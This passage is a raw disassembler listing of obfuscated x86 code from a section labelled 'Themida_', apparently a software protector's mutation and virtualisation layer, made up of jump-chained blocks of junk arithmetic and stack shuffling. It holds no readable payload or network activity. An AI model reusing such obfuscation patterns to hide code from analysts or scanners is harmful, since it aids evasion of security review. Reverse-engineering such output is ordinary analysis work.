jmp loc_5A074D
; ---------------------------------------------------------------------------
loc_5A9884: ; CODE XREF: Themida_:005A2272j
push esi
push dword ptr [esp+4]
mov esi, [esp]
push edx
push esp
pop edx
jmp loc_5A2950
; ---------------------------------------------------------------------------
loc_5A9894: ; CODE XREF: Themida_:005AEFA3j
add ebx, 399CFAF0h
sub eax, 147B3C8Eh
sub eax, ebx
add eax, 147B3C8Eh
pop ebx
add eax, 1E304C22h
sub eax, ebx
sub eax, 1E304C22h
sub esp, 4
mov [esp], ecx
push 390C70E6h
mov ecx, [esp]
push edx
mov edx, esp
add edx, 4
jmp loc_5AA3D8
; ---------------------------------------------------------------------------
loc_5A98D2: ; CODE XREF: Themida_:0059B535j
pop ebx
sub ecx, 0FDEECF7Bh
add esi, ecx
jmp loc_5AA939
; ---------------------------------------------------------------------------
loc_5A98E0: ; CODE XREF: Themida_:005A7FFCj
push 33EBh
mov [esp], esp
push eax
mov eax, 4
add [esp+4], eax
mov eax, [esp]
add esp, 4
mov ecx, [esp]
jmp loc_59A693
; ---------------------------------------------------------------------------
loc_5A9900: ; CODE XREF: Themida_:005A28BFj
pop ebx
add edx, eax
pop eax
jmp loc_5A07BA
; ---------------------------------------------------------------------------
loc_5A9909: ; CODE XREF: Themida_:005A6262j
dec ebx
jns loc_5A7185
jmp loc_5A140C
; ---------------------------------------------------------------------------
add esp, 4
mov bl, ch
mov al, 5
loc_5A991F: ; CODE XREF: Themida_:005A3D8Dj
; Themida_:005A4010j
mov ecx, 72C81F85h
shl ecx, 4
sub ecx, 793070D3h
shl ecx, 4
and ecx, 632454CEh
sub ecx, 3351751h
jmp loc_5AB762
; ---------------------------------------------------------------------------
loc_5A9941: ; CODE XREF: Themida_:0059F16Aj
push ebp
push dword ptr [esp+4]
pop ebp
jmp loc_5A563F
; ---------------------------------------------------------------------------
loc_5A994C: ; CODE XREF: Themida_:005AE130j
add ebx, 29B56404h
sub ebx, 16C63169h
xor eax, ebx
pop ebx
add eax, 97981A6Bh
push esi
mov esi, eax
jmp loc_59EF9D
; ---------------------------------------------------------------------------
loc_5A9968: ; CODE XREF: Themida_:005AD961j
push edi
mov edi, 124C0B93h
neg edi
shr edi, 6
shl edi, 7
and edi, 2DEF3674h
shl edi, 5
sub edi, 2C82C4F4h
mov ecx, edi
pop edi
add edi, ecx
mov ecx, [esp]
add esp, 4
add edi, ecx
sub edi, offset aEEEEEEEEEEEEEE ; "₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κί"...
sub edi, 13DA2498h
jmp loc_5A1CB4
; ---------------------------------------------------------------------------
loc_5A99A3: ; CODE XREF: Themida_:005A02B4j
js loc_59A095
xor ebp, 18604524h
jmp loc_5A530A
; ---------------------------------------------------------------------------
loc_5A99B4: ; CODE XREF: Themida_:005A4CB8j
add esp, 4
jmp loc_5A2439
; ---------------------------------------------------------------------------
loc_5A99BC: ; CODE XREF: Themida_:0059A22Cj
add esi, ecx
sub esp, 4
mov [esp], ebp
mov ebp, 2EDA560Dh
add esi, ebp
mov ebp, [esp]
add esp, 4
sub esi, 28C0A9Dh
mov ecx, [esp]
add esp, 4
push eax
push ebx
mov ebx, 4
jmp loc_59BCBD
; ---------------------------------------------------------------------------
loc_5A99EF: ; CODE XREF: Themida_:005A2CDEj
mov ebx, 4
jmp loc_5AB320
; ---------------------------------------------------------------------------
loc_5A99F9: ; CODE XREF: Themida_:005AC101j
pop dx
shl bl, 2
sub bl, 1Ah
sub bl, 95h
sub al, bl
jmp loc_5AD3FD
; ---------------------------------------------------------------------------
loc_5A9A0B: ; CODE XREF: Themida_:loc_59860Cj
dec ecx
jl loc_5AC7D8
jmp loc_59DC2B
; ---------------------------------------------------------------------------
loc_5A9A17: ; CODE XREF: Themida_:0059F737j
add esp, 4
add edx, 4157882h
push ecx
mov ecx, 0
jmp loc_5A691B
; ---------------------------------------------------------------------------
loc_5A9A2E: ; CODE XREF: Themida_:005A3244j
push esi
mov esi, 4F563E4Ch
or esi, 190283Fh
jmp loc_5A4D62
; ---------------------------------------------------------------------------
loc_5A9A3F: ; CODE XREF: Themida_:loc_5A1F7Aj
xor edx, 3F1A2417h
jmp loc_5A4856
; ---------------------------------------------------------------------------
loc_5A9A4A: ; CODE XREF: Themida_:005A8F85j
pop eax
push eax
mov eax, 22EA2149h
add ebx, eax
pop eax
mov edi, ebx
pop ebx
add eax, edi
pop edi
sub esp, 4
mov [esp], esi
push ebx
sub esp, 4
mov [esp], eax
push edi
jmp loc_5A6805
; ---------------------------------------------------------------------------
loc_5A9A6D: ; CODE XREF: Themida_:005AAD8Fj
add dword ptr [esp], 55E97D92h
push edi
mov edi, 5B67784Ah
sub [esp+4], edi
mov edi, [esp]
add esp, 4
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A9A89: ; CODE XREF: Themida_:005A52E5j
mov [esp], ebx
jmp loc_59E507
; ---------------------------------------------------------------------------
loc_5A9A91: ; CODE XREF: Themida_:005A4D5Dj
pop ecx
add bl, dh
mov edx, [esp]
jmp loc_59CF68
; ---------------------------------------------------------------------------
loc_5A9A9C: ; CODE XREF: Themida_:005A3780j
mov ecx, [esp]
push esi
jmp loc_5AC082
; ---------------------------------------------------------------------------
loc_5A9AA5: ; CODE XREF: Themida_:005A5347j
xor eax, 545066DCh
and eax, 2EC63A71h
or eax, 7336605Fh
sub eax, 7FF67A5Eh
add esi, eax
mov eax, [esp]
add esp, 4
jmp loc_5A8B2C
; ---------------------------------------------------------------------------
loc_5A9AC6: ; CODE XREF: Themida_:005A862Ej
pop eax
push esi
mov esi, 12FE6864h
sub esi, 12FE6860h
sub edi, esi
jmp loc_5AE682
; ---------------------------------------------------------------------------
loc_5A9ADA: ; CODE XREF: Themida_:0059B120j
pop ax
sub al, cl
jmp loc_5A91E3
; ---------------------------------------------------------------------------
loc_5A9AE3: ; CODE XREF: Themida_:0059BFB1j
mov [esp], ecx
jmp loc_5A233B
; ---------------------------------------------------------------------------
loc_5A9AEB: ; CODE XREF: Themida_:005A3CDAj
xor ebx, edi
jmp loc_5AABB3
; ---------------------------------------------------------------------------
loc_5A9AF2: ; CODE XREF: Themida_:0059F88Aj
push edi
jmp loc_5A951A
; ---------------------------------------------------------------------------
loc_5A9AF8: ; CODE XREF: Themida_:0059F327j
add esi, 4
jmp loc_598DBA
; ---------------------------------------------------------------------------
loc_5A9B00: ; CODE XREF: Themida_:0059F72Dj
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
jmp loc_5AE274
; ---------------------------------------------------------------------------
loc_5A9B0F: ; CODE XREF: Themida_:0059959Aj
; Themida_:005AEF6Cj
push eax
push edx
mov edx, 0B8353DCh
mov eax, 7F1A0FFBh
xor eax, edx
pop edx
or eax, 766301F4h
shr eax, 7
jmp loc_5A63D4
; ---------------------------------------------------------------------------
loc_5A9B2B: ; CODE XREF: Themida_:005AA586j
push eax
mov eax, 0CEB7AB35h
xor ebp, eax
pop eax
mov edx, ebp
jmp loc_5AAF49
; ---------------------------------------------------------------------------
loc_5A9B3B: ; CODE XREF: Themida_:005AE0C0j
pop esp
xor eax, [esp]
jmp loc_59E55E
; ---------------------------------------------------------------------------
loc_5A9B44: ; CODE XREF: Themida_:0059A620j
add edx, 50A45E34h
or edx, 0B57122Ah
jmp loc_5AA31A
; ---------------------------------------------------------------------------
loc_5A9B55: ; CODE XREF: Themida_:0059B61Ej
; Themida_:005AC886j
sub edx, eax
jmp loc_59D110
; ---------------------------------------------------------------------------
loc_5A9B5C: ; CODE XREF: Themida_:005A8594j
; Themida_:005A9526j
add ebp, edx
sub ebp, 69C5CEDh
pop edx
xchg ebp, [esp]
mov esp, [esp]
sub [esp], eax
pushf
jmp loc_5A6DC0
; ---------------------------------------------------------------------------
loc_5A9B74: ; CODE XREF: Themida_:0059CEC7j
mov [esp], edx
mov edx, 1000000h
and eax, edx
jmp loc_5ACBB8
; ---------------------------------------------------------------------------
loc_5A9B83: ; CODE XREF: Themida_:0059C17Cj
push edx
mov edx, esp
push ecx
sub esp, 4
mov [esp], edx
jmp loc_5A004A
; ---------------------------------------------------------------------------
loc_5A9B95: ; CODE XREF: Themida_:0059E753j
jbe loc_5A6916
jmp loc_5ACF9B
; ---------------------------------------------------------------------------
add ecx, edx
add dword ptr [ecx], 1
loc_5A9BA8: ; CODE XREF: Themida_:00599A42j
mov ecx, [esp]
add esp, 4
and eax, ebp
jmp loc_5A8019
; ---------------------------------------------------------------------------
loc_5A9BB5: ; CODE XREF: Themida_:0059C10Bj
pop esp
mov ax, [esp]
push ebx
mov ebx, esp
push 0F5Ch
mov [esp], edi
sub esp, 4
mov [esp], esi
jmp loc_5AE0C5
; ---------------------------------------------------------------------------
loc_5A9BD3: ; CODE XREF: Themida_:005A84BBj
mov esi, 18CB260Ah
jmp loc_59E3DA
; ---------------------------------------------------------------------------
loc_5A9BDD: ; CODE XREF: Themida_:0059881Dj
neg edi
js loc_5A561C
sub edi, 7C74A3EFh
mov ecx, edi
pop edi
jmp loc_5A613F
; ---------------------------------------------------------------------------
push eax
loc_5A9BF4: ; CODE XREF: Themida_:005A1F55j
; Themida_:005AA4A5j
push eax
mov al, 62h
sub al, 3Dh
mov bl, al
jmp loc_5AD32D
; ---------------------------------------------------------------------------
loc_5A9C00: ; CODE XREF: Themida_:005A7745j
not esi
sub esi, 0CED3CACEh
jmp loc_59F8AA
; ---------------------------------------------------------------------------
loc_5A9C0D: ; CODE XREF: Themida_:005ACD8Bj
mov edx, 27295BF2h
inc edx
jns loc_59BFE2
and edx, 2EA45897h
jb loc_5A4413
shr edx, 8
loc_5A9C28: ; CODE XREF: Themida_:005A4C7Dj
mov ecx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
mov esp, [esp]
xor [esp+4], ebx
mov ebx, [esp]
push ebp
mov ebp, esp
jmp loc_5A44C1
; ---------------------------------------------------------------------------
loc_5A9C4C: ; CODE XREF: Themida_:0059E132j
mov [esp], ecx
mov ecx, 6896846h
push esi
jmp loc_5A2591
; ---------------------------------------------------------------------------
loc_5A9C5A: ; CODE XREF: Themida_:005AED07j
mov ebp, [esp]
add esp, 4
add esp, 4
inc edx
push ecx
jmp loc_5A7F04
; ---------------------------------------------------------------------------
loc_5A9C6D: ; CODE XREF: Themida_:005ACBD0j
mov ebx, 40F80646h
xor ebx, edx
jmp loc_59A73E
; ---------------------------------------------------------------------------
loc_5A9C79: ; CODE XREF: Themida_:005ACE94j
push esp
mov edx, [esp]
jmp loc_5A486B
; ---------------------------------------------------------------------------
loc_5A9C82: ; CODE XREF: Themida_:005A9D92j
pop eax
xor ebp, eax
pop eax
sub eax, ebp
mov ebp, [esp]
jmp loc_5AB599
; ---------------------------------------------------------------------------
loc_5A9C90: ; CODE XREF: Themida_:005A18B6j
; Themida_:005A3DA9j
jz loc_5A765C
jmp loc_5A1396
; ---------------------------------------------------------------------------
loc_5A9C9B: ; CODE XREF: Themida_:loc_598C19j
lodsd
sub esp, 4
mov [esp], ebp
push 38784511h
mov ebp, [esp]
push eax
mov eax, esp
push ebx
jmp loc_5A9094
; ---------------------------------------------------------------------------
loc_5A9CB6: ; CODE XREF: Themida_:0059F9D5j
mov eax, ebp
pop ebp
jmp loc_5993DA
; ---------------------------------------------------------------------------
loc_5A9CBE: ; CODE XREF: Themida_:005A63E4j
and eax, 12617D03h
or eax, 11E1BFAh
shl eax, 5
jmp loc_59B972
; ---------------------------------------------------------------------------
loc_5A9CD0: ; CODE XREF: Themida_:loc_5A6916j
sub ebp, 65002378h
jmp loc_5A63C1
; ---------------------------------------------------------------------------
mov esp, [esp]
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A9CE3: ; CODE XREF: Themida_:0059BF91j
mov [esp], edi
push esp
push dword ptr [esp]
mov edi, [esp]
sub esp, 4
jmp loc_5A3643
; ---------------------------------------------------------------------------
loc_5A9CF5: ; CODE XREF: Themida_:005A39D8j
add edi, ecx
pop ecx
push edx
mov edx, 69E47673h
jmp loc_5AD4EF
; ---------------------------------------------------------------------------
loc_5A9D03: ; CODE XREF: Themida_:005A1370j
shr esi, 5
jmp loc_5A134B
; ---------------------------------------------------------------------------
loc_5A9D0B: ; CODE XREF: Themida_:0059E68Fj
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
push ebx
sub esp, 4
mov [esp], ebp
push esi
mov esi, 5B004CEBh
push ecx
mov ecx, 1C1D28FDh
mov ebp, ecx
pop ecx
sub ebp, 0F190B86h
add ebp, esi
add ebp, 0F190B86h
mov esi, [esp]
jmp loc_59BB71
; ---------------------------------------------------------------------------
loc_5A9D44: ; CODE XREF: Themida_:loc_59E954j
add ebx, 565F77A1h
jmp loc_59C133
; ---------------------------------------------------------------------------
loc_5A9D4F: ; CODE XREF: Themida_:005ABB77j
sub dl, 1
jmp loc_5A616C
; ---------------------------------------------------------------------------
loc_5A9D57: ; CODE XREF: Themida_:0059D42Dj
inc ah
add ah, 0E7h
sub cl, ah
pop eax
xor cl, 0C6h
sub bl, cl
pop ecx
jmp loc_598793
; ---------------------------------------------------------------------------
loc_5A9D6A: ; CODE XREF: Themida_:00599771j
mov ebp, 66DD34ADh
sub eax, ebp
mov ebp, [esp]
add esp, 4
jmp loc_599BE2
; ---------------------------------------------------------------------------
loc_5A9D7F: ; CODE XREF: Themida_:loc_5A7D38j
inc ebx
jmp loc_5ABE17
; ---------------------------------------------------------------------------
loc_5A9D85: ; CODE XREF: Themida_:005A6C10j
jz loc_59A9D0
add eax, 0B90A6871h
mov ebp, eax
jmp loc_5A9C82
; ---------------------------------------------------------------------------
loc_5A9D97: ; CODE XREF: Themida_:0059ABD0j
; Themida_:0059FB85j
pop edi
push 2915h
mov [esp], ebp
jmp loc_5A2E89
; ---------------------------------------------------------------------------
loc_5A9DA5: ; CODE XREF: Themida_:0059914Dj
pop ebx
push edx
mov edx, 4
push esi
mov esi, 14895E74h
push ebx
mov ebx, 3CED71B9h
sub esi, ebx
pop ebx
sub esi, 1D3A081Ch
jmp loc_5A857C
; ---------------------------------------------------------------------------
loc_5A9DC6: ; CODE XREF: Themida_:005AE8F5j
mov [esp], ecx
push 60E1h
mov [esp], ebp
mov ebp, 795F2983h
add ebp, 1
push edi
mov edi, 2FC10CA9h
dec edi
shr edi, 2
add edi, 6D6EE65Ch
xor ebp, edi
pop edi
mov ecx, ebp
mov ebp, [esp]
push 35F1h
mov [esp], edi
mov edi, esp
push ebx
mov ebx, 4
add edi, ebx
pop ebx
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_59F7B3
; ---------------------------------------------------------------------------
loc_5A9E16: ; CODE XREF: Themida_:005A9704j
or ebx, 6C8414FCh
jz loc_5A44B3
not ebx
add ebx, 0B7C4B0F8h
push ebx
jmp loc_5AD05B
; ---------------------------------------------------------------------------
loc_5A9E30: ; CODE XREF: Themida_:005987FDj
mov ecx, [esp]
add esp, 4
jmp loc_5A2DE8
; ---------------------------------------------------------------------------
loc_5A9E3B: ; CODE XREF: Themida_:005AE5B6j
add word ptr [esp+2], 3D96h
push bp
jmp loc_59EAE0
; ---------------------------------------------------------------------------
loc_5A9E49: ; CODE XREF: Themida_:loc_5A7794j
; Themida_:005AB6AEj ...
pop esp
shr eax, 12h
xor eax, ecx
sub esp, 4
mov [esp], eax
push ebp
push dword ptr [esp+4]
jmp loc_59F16F
; ---------------------------------------------------------------------------
loc_5A9E5F: ; CODE XREF: Themida_:005A0890j
pop edi
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], eax
mov eax, 60765728h
not eax
add eax, 0C810EE5Eh
sub ecx, eax
pop eax
add edx, ecx
mov ecx, [esp]
jmp loc_598FF8
; ---------------------------------------------------------------------------
loc_5A9E89: ; CODE XREF: Themida_:005A36EDj
pop edx
add eax, edx
jmp loc_5AA8CA
; ---------------------------------------------------------------------------
loc_5A9E91: ; CODE XREF: Themida_:005A8D75j
sub eax, ebp
add eax, 6E231FFDh
jmp loc_59C96C
; ---------------------------------------------------------------------------
loc_5A9E9D: ; CODE XREF: Themida_:005AE687j
mov [esp], edx
push esp
pop edx
jmp loc_59B3A3
; ---------------------------------------------------------------------------
loc_5A9EA7: ; CODE XREF: Themida_:005AD4EAj
xor eax, ecx
jmp loc_5A57C5
; ---------------------------------------------------------------------------
loc_5A9EAE: ; CODE XREF: Themida_:loc_5A614Cj
xor bl, 19h
jmp loc_5A8803
; ---------------------------------------------------------------------------
loc_5A9EB6: ; CODE XREF: Themida_:loc_59A35Cj
dec ebx
jno loc_5A6911
jmp loc_59ADA7
; ---------------------------------------------------------------------------
jmp loc_59F46F
; ---------------------------------------------------------------------------
push ebx
loc_5A9EC8: ; CODE XREF: Themida_:005AB41Cj
add esp, 4
pop dword ptr [esp]
add dword ptr [esp], 4
pop dword ptr [esp]
push ebp
jmp loc_59927B
; ---------------------------------------------------------------------------
loc_5A9EDE: ; CODE XREF: Themida_:0059FFB6j
sub eax, ecx
sub eax, 9F81A20h
pop ecx
sub ebp, 1AED1D47h
sub ebp, 211A5681h
add ebp, eax
add ebp, 211A5681h
add ebp, 1AED1D47h
pop eax
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
jmp loc_5A530A
; ---------------------------------------------------------------------------
loc_5A9F0F: ; CODE XREF: Themida_:00599788j
add edi, ebp
mov ebp, [esp]
push ebp
jmp loc_5A8477
; ---------------------------------------------------------------------------
loc_5A9F1A: ; CODE XREF: Themida_:005A8666j
mov ebx, 4BBA00C5h
jmp loc_5ABD72
; ---------------------------------------------------------------------------
loc_5A9F24: ; CODE XREF: Themida_:005AC667j
add edx, 32B101F7h
push ebp
mov ebp, 4DB8228Bh
jmp loc_5A2DA8
; ---------------------------------------------------------------------------
loc_5A9F35: ; CODE XREF: Themida_:005AB22Dj
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_59D327
; ---------------------------------------------------------------------------
loc_5A9F4C: ; CODE XREF: Themida_:005989C2j
pop eax
push 53h
mov [esp], esi
mov esi, 8650A23h
sub ebp, esi
pop esi
sub ebp, edi
add ebp, 8650A23h
jmp loc_5A36F7
; ---------------------------------------------------------------------------
loc_5A9F6A: ; CODE XREF: Themida_:005A1CC1j
push edx
push esp
pop edx
jmp loc_5ACE7C
; ---------------------------------------------------------------------------
loc_5A9F72: ; CODE XREF: Themida_:005ACE77j
mov ax, [esp]
push 1E87h
mov [esp], ebp
jmp loc_5A0E9A
; ---------------------------------------------------------------------------
loc_5A9F83: ; CODE XREF: Themida_:005A9852j
pop eax
jmp loc_599F16
; ---------------------------------------------------------------------------
loc_5A9F89: ; CODE XREF: Themida_:005A8931j
xor ebp, 5C956FBEh
jno loc_5A7B58
or ebp, 49694785h
jo loc_5A2DFA
push dword ptr [edi+1Ch]
popf
pop cx
rcl byte ptr [esp], cl
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A9FB0: ; CODE XREF: Themida_:loc_5A6C2Cj
and esi, 397391Bh
jnz loc_5A0F6E
not esi
push ebx
mov ebx, 0FF7FFEF9h
xor esi, ebx
mov ebx, [esp]
loc_5A9FC9: ; CODE XREF: Themida_:005ADFC7j
xor ebx, ecx
not ecx
xor ebx, ecx
xor ecx, ebx
xor ebx, ecx
push 60F0h
mov [esp], esi
sub esp, 4
mov [esp], ebx
jmp loc_5A74B1
; ---------------------------------------------------------------------------
loc_5A9FE9: ; CODE XREF: Themida_:005AD8D3j
mov [esp], ebp
jmp loc_5AA15D
; ---------------------------------------------------------------------------
loc_5A9FF1: ; CODE XREF: Themida_:005A2250j
sub esp, 4
mov [esp], esp
jmp loc_59E7B3
; ---------------------------------------------------------------------------
loc_5A9FFF: ; CODE XREF: Themida_:005AB05Ej
add ecx, ebp
pop ebp
push esi
sub esp, 4
jmp loc_5A5E44
; ---------------------------------------------------------------------------
loc_5AA00E: ; CODE XREF: Themida_:005ACA19j
push edx
jmp loc_5AC13C
; ---------------------------------------------------------------------------
loc_5AA014: ; CODE XREF: Themida_:005ADA62j
mov ebx, 4
add eax, 2D77484Dh
add eax, ebx
sub esp, 4
mov [esp], esi
mov esi, 2D77484Dh
sub eax, esi
pop esi
pop ebx
jmp loc_5A5BB3
; ---------------------------------------------------------------------------
loc_5AA037: ; CODE XREF: Themida_:loc_5A727Ej
add al, 85h
and al, 9Eh
jmp loc_5A7510
; ---------------------------------------------------------------------------
loc_5AA040: ; CODE XREF: Themida_:0059C8AFj
; Themida_:005AB5E9j
sub eax, esi
pop esi
add eax, 3A4F1A7Dh
jmp loc_5A2C28
; ---------------------------------------------------------------------------
loc_5AA04D: ; CODE XREF: Themida_:005AECF2j
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
push dword ptr [esp]
push dword ptr [esp]
jmp loc_5987B9
; ---------------------------------------------------------------------------
loc_5AA062: ; CODE XREF: Themida_:005A3660j
mov eax, 342E3272h
add esi, eax
pop eax
pop eax
xchg esi, [esp]
mov esp, [esp]
div ecx
jmp loc_5A4CAA
; ---------------------------------------------------------------------------
loc_5AA078: ; CODE XREF: Themida_:0059D595j
jnz loc_599BD5
xor ebx, 60763E99h
mov ebp, ebx
jmp loc_5A1EB4
; ---------------------------------------------------------------------------
loc_5AA08B: ; CODE XREF: Themida_:005A1D73j
pop esi
push 3CBCh
mov [esp], ebp
mov ebp, edx
jmp loc_5AC767
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_5A72BB
; ---------------------------------------------------------------------------
loc_5AA0A4: ; CODE XREF: Themida_:005A3F0Fj
; Themida_:005AC827j
xchg esi, [esp]
jmp loc_5A930D
; ---------------------------------------------------------------------------
loc_5AA0AC: ; CODE XREF: Themida_:005A912Aj
mov ah, 5Eh
add bl, ah
pop eax
add bl, 0F3h
add bl, al
push ecx
push eax
mov al, 62h
sub al, 31h
jb loc_5ACCFA
inc al
jo loc_5A495A
or al, 0A2h
jp loc_5A46B4
or al, 5Bh
jns loc_5AF205
dec al
loc_5AA0DC: ; CODE XREF: Themida_:0059BFDDj
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], esi
pop ecx
pop esi
xor eax, ecx
jmp loc_5ACF73
; ---------------------------------------------------------------------------
loc_5AA0F8: ; CODE XREF: Themida_:005A07D6j
add edx, 506A2FC0h
push esi
mov esi, 1DFA2BBBh
sub edx, esi
pop esi
add edx, ecx
add edx, 1DFA2BBBh
sub edx, 506A2FC0h
pop ecx
add edx, 4
xchg edx, [esp]
pop esp
xchg eax, [esp]
jmp loc_59BAD7
; ---------------------------------------------------------------------------
loc_5AA125: ; CODE XREF: Themida_:0059E0B3j
sub ecx, 0FFFFFFFFh
xor ecx, 17E60F97h
mov ebx, ecx
pop ecx
sub ebx, 10362941h
jge loc_59E954
jmp loc_59A850
; ---------------------------------------------------------------------------
pop ebp
add edi, 0AD6CD5ECh
mov ah, 0A6h
pop ecx
loc_5AA14F: ; CODE XREF: Themida_:005A2650j
add eax, edx
pop edx
xchg eax, [esp]
mov esp, [esp]
jmp loc_5AA9CB
; ---------------------------------------------------------------------------
loc_5AA15D: ; CODE XREF: Themida_:005A9FECj
push esp
jmp loc_5AF4B4
; ---------------------------------------------------------------------------
loc_5AA163: ; CODE XREF: Themida_:005A1BCDj
mov [esp], ebp
push 0F78h
mov [esp], ebx
jmp loc_59FA73
; ---------------------------------------------------------------------------
loc_5AA173: ; CODE XREF: Themida_:005AAC16j
push 5A11h
jmp loc_59AC50
; ---------------------------------------------------------------------------
loc_5AA17D: ; CODE XREF: Themida_:005A4949j
; Themida_:005A8AEDj
mov dh, ah
mov cl, dh
pop edx
pop eax
and bh, cl
jmp loc_5AB490
; ---------------------------------------------------------------------------
loc_5AA18A: ; CODE XREF: Themida_:00599304j
sub edi, 0BA4EAB4Ch
jmp loc_5ABE17
; ---------------------------------------------------------------------------
loc_5AA195: ; CODE XREF: Themida_:0059BD9Aj
mov esi, [esp]
add esp, 4
xor esi, 396819B8h
mov [edi+20h], esi
mov esi, [esp]
add esp, 4
neg dword ptr [edi+20h]
jle loc_5A4783
push eax
sub esp, 4
mov [esp], ecx
jmp loc_5AB966
; ---------------------------------------------------------------------------
loc_5AA1C5: ; CODE XREF: Themida_:005A456Ej
push 70D1h
mov [esp], edx
push ecx
mov ch, 0CCh
sub ch, 5Fh
and ch, 0BEh
jbe loc_59ADC8
add ch, 77h
not ch
jmp loc_5A1540
; ---------------------------------------------------------------------------
loc_5AA1E6: ; CODE XREF: Themida_:005A67DAj
sub esi, 0D9A4F25h
xor edx, esi
mov esi, [esp]
add esp, 4
jmp loc_5A1FBD
; ---------------------------------------------------------------------------
loc_5AA1F9: ; CODE XREF: Themida_:0059A52Ej
sub eax, 14FB6FCDh
jmp loc_5A7F13
; ---------------------------------------------------------------------------
loc_5AA203: ; CODE XREF: Themida_:005A9398j
add edi, 822DB06Eh
add ebp, 7F920035h
jmp loc_59A425
; ---------------------------------------------------------------------------
loc_5AA214: ; CODE XREF: Themida_:005AD881j
push edx
mov edx, 1
add ebx, edx
jmp loc_59A054
; ---------------------------------------------------------------------------
loc_5AA221: ; CODE XREF: Themida_:005A44A1j
jmp loc_5AF1BD
; ---------------------------------------------------------------------------
loc_5AA226: ; CODE XREF: Themida_:005A3199j
push edi
mov edi, esp
push ebp
mov ebp, 4
sub edi, 74DC6854h
sub edi, 22DB2796h
add edi, ebp
add edi, 22DB2796h
jmp loc_5A21A4
; ---------------------------------------------------------------------------
loc_5AA248: ; CODE XREF: Themida_:005A6719j
mov esi, esp
add esi, 4
sub esi, 4
jmp loc_59C532
; ---------------------------------------------------------------------------
loc_5AA25B: ; CODE XREF: Themida_:005AB75Dj
add esp, 4
xor ebx, eax
jmp loc_5AA4F9
; ---------------------------------------------------------------------------
loc_5AA268: ; CODE XREF: Themida_:005A041Cj
xor ebx, [esp]
xor [esp], ebx
jmp loc_5A0D0C
; ---------------------------------------------------------------------------
loc_5AA273: ; CODE XREF: Themida_:00599A6Bj
push dword ptr [esp]
pop ebx
push 0AF8h
mov [esp], edx
mov edx, esp
jmp loc_59E109
; ---------------------------------------------------------------------------
loc_5AA286: ; CODE XREF: Themida_:005AC39Fj
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_5988CC
; ---------------------------------------------------------------------------
loc_5AA297: ; CODE XREF: Themida_:005A44F8j
jo loc_59B23A
jmp loc_5A1652
; ---------------------------------------------------------------------------
lodsb
jmp loc_5A456D
; ---------------------------------------------------------------------------
loc_5AA2A8: ; CODE XREF: Themida_:0059909Ej
pop ecx
and ecx, 6CBD0FB0h
xor ecx, 23117777h
sub eax, ecx
pop ecx
add eax, ebx
jmp loc_5A33A4
; ---------------------------------------------------------------------------
loc_5AA2BF: ; CODE XREF: Themida_:005998B0j
jg loc_5A332E
jmp loc_5A89EA
; ---------------------------------------------------------------------------
push ebp
jmp loc_5A4D39
; ---------------------------------------------------------------------------
pop ebx
loc_5AA2D1: ; CODE XREF: Themida_:005A0610j
sub ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5A55F0
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_5A59A9
; ---------------------------------------------------------------------------
loc_5AA2E6: ; CODE XREF: Themida_:005A278Fj
pop edi
push dword ptr [esp]
jmp loc_59CE22
; ---------------------------------------------------------------------------
loc_5AA2EF: ; CODE XREF: Themida_:005AB100j
pop esi
push eax
mov eax, 23427930h
sub ebx, eax
jmp loc_5AE58F
; ---------------------------------------------------------------------------
loc_5AA2FD: ; CODE XREF: Themida_:005AD3AFj
js loc_59BB7F
shl edi, 5
jns loc_5A6C96
mov bh, dh
add al, 1
loc_5AA310: ; CODE XREF: Themida_:00599F75j
mov edx, 76427087h
jmp loc_59A298
; ---------------------------------------------------------------------------
loc_5AA31A: ; CODE XREF: Themida_:005A9B50j
push esi
mov esi, 1CCD862h
add edx, esi
pop esi
sub ecx, edx
pop edx
sub ebp, ecx
pop ecx
add ebp, edi
add ebp, 34A47916h
mov edi, [esp]
jmp loc_5AE368
; ---------------------------------------------------------------------------
loc_5AA339: ; CODE XREF: Themida_:005A7B05j
mov ecx, [esp]
add esp, 4
push 4465h
mov [esp], edi
sub esp, 4
mov [esp], ebx
jmp loc_5A7440
; ---------------------------------------------------------------------------
loc_5AA352: ; CODE XREF: Themida_:0059AE2Aj
push 38DCh
mov [esp], eax
mov ah, 88h
push ax
xchg bl, [esp+1]
not bl
jmp loc_5AF497
; ---------------------------------------------------------------------------
loc_5AA369: ; CODE XREF: Themida_:005AF4D4j
push edx
mov edx, esp
jmp loc_5ADD06
; ---------------------------------------------------------------------------
loc_5AA371: ; CODE XREF: Themida_:005A4ACBj
add esp, 4
sub esp, 4
mov [esp], edi
jmp loc_59FBA0
; ---------------------------------------------------------------------------
loc_5AA382: ; CODE XREF: Themida_:005A1F75j
mov [esp], edi
mov edi, 73B4C40h
shl edi, 2
or edi, 6F380851h
and edi, 376E1894h
push ebx
jmp loc_59B137
; ---------------------------------------------------------------------------
loc_5AA39F: ; CODE XREF: Themida_:005A0DC9j
shl eax, 5
shr eax, 8
add eax, 24483290h
sub eax, 0B1331EFBh
xor ebp, eax
pop eax
neg ebp
jmp loc_5A46F7
; ---------------------------------------------------------------------------
loc_5AA3B9: ; CODE XREF: Themida_:005ACFD4j
mov edx, ecx
pop ecx
jmp loc_599F55
; ---------------------------------------------------------------------------
loc_5AA3C1: ; CODE XREF: Themida_:005A0A99j
mov edi, 4
add esi, edi
mov edi, [esp]
push 7143h
mov [esp], edx
jmp loc_5AC180
; ---------------------------------------------------------------------------
loc_5AA3D8: ; CODE XREF: Themida_:005A98CDj
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], ebp
push 5A10h
